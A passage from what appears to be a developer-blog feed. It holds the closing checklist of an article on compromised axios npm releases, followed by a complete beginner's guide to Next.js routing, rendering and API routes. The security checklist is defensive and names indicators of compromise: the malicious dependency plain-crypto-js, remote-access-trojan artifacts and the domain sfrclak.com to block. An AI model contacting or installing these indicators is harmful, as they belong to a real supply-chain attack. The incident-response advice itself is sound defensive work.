&lt;p&gt;The JavaScript ecosystem's open publishing model is its greatest strength and its greatest liability. Anyone can publish. Maintainers burn out and sell or lose access to their accounts. A package with 100 million weekly downloads can be weaponized in minutes.&lt;/p&gt;

&lt;p&gt;The question isn't whether this will happen again. It's whether your team will be ready when it does.&lt;/p&gt;




&lt;h2&gt;
  
  
  Quick Reference Checklist
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;□ Checked npm list for axios@1.14.1 and axios@0.30.4
□ Checked for node_modules/plain-crypto-js/ directory
□ Checked for platform-specific RAT artifacts
□ Downgraded to axios@1.14.0 / 0.30.3
□ Added "overrides" block to package.json
□ Removed plain-crypto-js from node_modules
□ Reviewed CI/CD pipeline logs for affected time window
□ Rotated all credentials if dropper ran
□ Added --ignore-scripts to CI pipeline
□ Committed and locked package-lock.json
□ Blocked sfrclak.com at network/DNS level
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Resources
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/axios/axios/issues/10604" rel="noopener noreferrer"&gt;GitHub Issue #10604 — axios/axios&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.stepsecurity.io/blog/axios-compromised-on-npm-malicious-versions-drop-remote-access-trojan" rel="noopener noreferrer"&gt;StepSecurity Full Technical Analysis&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://app.stepsecurity.io/oss-security-feed/axios?version=1.14.1" rel="noopener noreferrer"&gt;StepSecurity OSS Security Feed — axios@1.14.1&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.npmjs.com/generating-provenance-statements" rel="noopener noreferrer"&gt;npm Trusted Publishing Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.npmjs.com/cli/v9/commands/npm-install#ignore-scripts" rel="noopener noreferrer"&gt;npm --ignore-scripts Documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Verified and sourced from the official StepSecurity technical analysis published March 31, 2026, and the axios GitHub issue #10604. All IOCs, SHA hashes, timestamps, and code snippets are drawn directly from the primary source investigation.&lt;/em&gt;&lt;/p&gt;




&lt;p&gt;&lt;em&gt;If this helped you secure your systems, drop a ❤️ and share it with your team. The faster this spreads, the more developers stay protected.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>javascript</category>
      <category>npm</category>
      <category>webdev</category>
    </item>
    <item>
      <title>The Only Next.js Beginner Guide You Actually Need</title>
      <dc:creator>VIKAS</dc:creator>
      <pubDate>Mon, 16 Mar 2026 11:01:08 +0000</pubDate>
      <link>https://dev.to/devcodehub99/the-only-nextjs-beginner-guide-you-actually-need-16kb</link>
      <guid>https://dev.to/devcodehub99/the-only-nextjs-beginner-guide-you-actually-need-16kb</guid>
      <description>&lt;h2&gt;
  
  
  The Practical Guide to Understanding Next.js Fast⚡
&lt;/h2&gt;

&lt;p&gt;If you're starting with &lt;strong&gt;Next.js&lt;/strong&gt;, you’ll hear many terms thrown around:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;SSR&lt;/li&gt;
&lt;li&gt;SSG&lt;/li&gt;
&lt;li&gt;CSR&lt;/li&gt;
&lt;li&gt;App Router&lt;/li&gt;
&lt;li&gt;Pages Router&lt;/li&gt;
&lt;li&gt;Server Components&lt;/li&gt;
&lt;li&gt;API Routes&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It sounds complicated.&lt;/p&gt;

&lt;p&gt;But the truth is: &lt;strong&gt;Next.js becomes simple once you understand a few core ideas.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This guide focuses on the &lt;strong&gt;80/20 fundamentals&lt;/strong&gt; you actually need to start building real apps.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. What Next.js Actually Is
&lt;/h2&gt;

&lt;p&gt;At its core:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Next.js = React + Backend + Routing + Performance
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;React alone helps you build &lt;strong&gt;UI components&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Next.js adds:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;File-based routing&lt;/li&gt;
&lt;li&gt;Server rendering&lt;/li&gt;
&lt;li&gt;Built-in APIs&lt;/li&gt;
&lt;li&gt;Performance optimizations&lt;/li&gt;
&lt;li&gt;Full-stack capabilities&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Which means you can build &lt;strong&gt;entire applications in one framework&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. Creating a Next.js App
&lt;/h2&gt;

&lt;p&gt;The easiest way to start:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx create-next-app@latest my-next-app
&lt;span class="nb"&gt;cd &lt;/span&gt;my-next-app
npm run dev
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now open:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;http://localhost:3000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You now have a &lt;strong&gt;running Next.js application&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. Next.js Project Structure
&lt;/h2&gt;

&lt;p&gt;Modern Next.js uses the &lt;strong&gt;App Router&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Typical structure:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;app/
  layout.js
  page.js
  blog/
    page.js

components/
lib/
public/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Key idea:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Folders = Routes
page.js = UI of the route
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;about&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;page&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;js&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Automatically becomes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/about
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No router setup required.&lt;/p&gt;




&lt;h2&gt;
  
  
  4. Pages Router vs App Router
&lt;/h2&gt;

&lt;p&gt;Next.js currently supports &lt;strong&gt;two routing systems&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Pages Router (Older System)
&lt;/h2&gt;

&lt;p&gt;Structure:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pages/
  index.js
  about.js
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Route mapping:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pages/index.js → /
pages/about.js → /about
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This system introduced functions like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;getServerSideProps&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;getStaticProps&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It still works but &lt;strong&gt;App Router is now the recommended approach&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  App Router (Modern System)
&lt;/h2&gt;

&lt;p&gt;Introduced in &lt;strong&gt;Next.js 13+&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Structure:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;app/
  page.js
  blog/
    page.js
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Advantages:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Server Components&lt;/li&gt;
&lt;li&gt;Better data fetching&lt;/li&gt;
&lt;li&gt;Layout system&lt;/li&gt;
&lt;li&gt;Streaming&lt;/li&gt;
&lt;li&gt;Improved performance&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For &lt;strong&gt;new projects&lt;/strong&gt;, always prefer &lt;strong&gt;App Router&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  5. Rendering Strategies in Next.js
&lt;/h2&gt;

&lt;p&gt;One of the most important things to understand in Next.js is &lt;strong&gt;how pages render&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;There are three main strategies.&lt;/p&gt;




&lt;h2&gt;
  
  
  6. CSR — Client Side Rendering
&lt;/h2&gt;

&lt;p&gt;This is the &lt;strong&gt;traditional React approach&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The browser loads JavaScript first, then renders the UI.&lt;/p&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;use client&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;useEffect&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;useState&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;react&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;Users&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;users&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;setUsers&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useState&lt;/span&gt;&lt;span class="p"&gt;([])&lt;/span&gt;

  &lt;span class="nf"&gt;useEffect&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/api/users&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
      &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;setUsers&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;[])&lt;/span&gt;

  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;div&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;users&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="nx"&gt;users&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/div&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Flow:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Browser loads page
↓
JavaScript executes
↓
Data fetched
↓
UI renders
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Downside:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;slower first load&lt;/li&gt;
&lt;li&gt;weaker SEO&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  7. SSR — Server Side Rendering
&lt;/h2&gt;

&lt;p&gt;With SSR, the &lt;strong&gt;server generates the HTML first&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The browser receives a &lt;strong&gt;fully rendered page&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Flow:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Request page
↓
Server fetches data
↓
Server renders HTML
↓
Browser receives ready page
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Benefits:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;better SEO&lt;/li&gt;
&lt;li&gt;faster initial render&lt;/li&gt;
&lt;li&gt;fresh data per request&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Example (Pages Router):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;getServerSideProps&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://api.example.com/posts&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;posts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;props&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;posts&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  8. SSG — Static Site Generation
&lt;/h2&gt;

&lt;p&gt;SSG generates pages &lt;strong&gt;during build time&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Flow:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Project build
↓
Data fetched once
↓
HTML generated
↓
Served instantly to users
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Perfect for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;blogs&lt;/li&gt;
&lt;li&gt;documentation&lt;/li&gt;
&lt;li&gt;marketing pages&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Example (Pages Router):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;getStaticProps&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://api.example.com/posts&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;posts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;props&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;posts&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  9. Data Fetching in the App Router
&lt;/h2&gt;

&lt;p&gt;The App Router simplifies data fetching dramatically.&lt;/p&gt;

&lt;p&gt;You can fetch data &lt;strong&gt;directly inside components&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;Page&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://api.example.com/posts&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;posts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;div&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;posts&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="nx"&gt;posts&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/div&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Because this runs on the &lt;strong&gt;server automatically&lt;/strong&gt;, no special functions are needed.&lt;/p&gt;




&lt;h2&gt;
  
  
  10. Server Components vs Client Components
&lt;/h2&gt;

&lt;p&gt;By default, App Router components are &lt;strong&gt;Server Components&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;That means they run on the server.&lt;/p&gt;

&lt;p&gt;Benefits:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;smaller bundle size&lt;/li&gt;
&lt;li&gt;better performance&lt;/li&gt;
&lt;li&gt;secure data fetching&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;But if you need &lt;strong&gt;interactivity&lt;/strong&gt;, you must use a Client Component.&lt;/p&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;use client&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;useState&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;react&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;Counter&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;count&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;setCount&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;button&lt;/span&gt; &lt;span class="nx"&gt;onClick&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;setCount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;count&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;count&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/button&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;  &lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Simple rule:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Server Components → data fetching
Client Components → interactivity
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  11. API Routes (Built-in Backend)
&lt;/h2&gt;

&lt;p&gt;Next.js can also create &lt;strong&gt;backend endpoints&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Example file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;api&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;users&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nx"&gt;route&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;js&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;GET&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;Response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;users&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Your API endpoint becomes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/api/users
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This means you can build &lt;strong&gt;frontend + backend in the same project&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  12. The Mental Model
&lt;/h2&gt;

&lt;p&gt;Once you understand this, Next.js becomes much easier.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Next.js = React + Server
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Rendering strategies:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CSR → rendered in browser
SSR → rendered on server per request
SSG → rendered at build time
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Routing systems:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Pages Router → older system
App Router → modern system
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Final Thoughts
&lt;/h2&gt;

&lt;p&gt;Next.js is no longer just a React framework.&lt;/p&gt;

&lt;p&gt;It's becoming a &lt;strong&gt;complete full-stack platform&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Once you understand:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Routing&lt;/li&gt;
&lt;li&gt;Rendering strategies&lt;/li&gt;
&lt;li&gt;Server vs Client components&lt;/li&gt;
&lt;li&gt;Data fetching&lt;/li&gt;
&lt;li&gt;API routes&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You can start building &lt;strong&gt;production-ready applications quickly&lt;/strong&gt;.&lt;/p&gt;

